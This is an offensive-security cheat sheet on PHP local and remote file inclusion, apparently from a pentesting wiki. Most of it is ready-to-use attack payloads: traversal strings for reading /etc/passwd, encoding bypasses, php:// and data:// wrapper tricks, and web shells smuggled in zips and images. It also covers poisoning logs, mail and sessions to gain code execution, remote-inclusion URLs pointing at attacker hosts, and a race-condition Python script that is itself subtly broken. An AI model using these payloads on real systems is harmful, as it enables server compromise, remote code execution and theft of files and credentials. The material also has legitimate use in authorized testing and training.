Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Mixing several *nix LFI lists and adding more paths I have created this one:
{% page-ref page=“lfi-linux-list.md” %}
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Using theses lists and deleting repetitions I have created a new one:
{% file src="../../.gitbook/assets/winlfi.txt" %}
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
Check the LFI list of linux.
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt).
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Bypass the append more chars at the end of the provided string (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
This is solved since PHP 5.4
You could use non-standard encondings like double URL encode (and others):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Maybe the back-end is checking the folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Bypass the append of more chars at the end of the provided string (bypass of: $_GET[‘param’].“php”)
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Always try to start the path with a fake directory (a/).
This vulnerability was corrected in PHP 5.3.
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
The part “php://filter” is case insensitive
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
Can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
To read the comppression data you need to decode the base64 and read the resulting data using:
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
NOTE: Wrappers can be chained
Upload a Zip file with a PHPShell inside and access it.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Expect has to be activated. You can execute code using this.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Specify your payload in the POST parameters
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and execute code using the “c” GET parameter.
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
Upload a ZIP file containing a PHP shell compressed and access:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa
The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
To exploit this vulnerability you need: A LFI vulnerability, a page where phpinfo() is displayed, “file_uploads = on” and the server has to be able to write in the “/tmp” directory.
Turotial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
You need to fix the exploit (change => for =>). To do so you can do:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1=“““POST /install.php?mode=phpinfo&a="""+padding+””” HTTP/1.1\r), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ=“““GET /info?page=%s%%00 HTTP/1.1\r – Check the double “%” when exploiting null char)
{% file src=”../../.gitbook/assets/lfi-with-phpinfo-assistance.pdf” %}
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
In Windows the files are usually stored in C:\Windows\temp\php<<
In linux the name of the file use to be random and located in /tmp. As the name is random, it is needed to extract from somewhere the name of the temporal file and access it before it is deleted. This can be done reading the value of the variable $_FILES inside the content of the function “phpconfig()”.
phpinfo()
PHP uses a buffer of 4096B and when it is full, it is send to the client. Then the client can send a lot of big requests (using big headers) uploading a php reverse shell, wait for the first part of the phpinfo() to be returned (where the name of the temporary file is) and try to access the temp file before the php server deletes the file exploiting a LFI vulnerability.
Python script to try to bruteforce the name (if length = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src=”../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}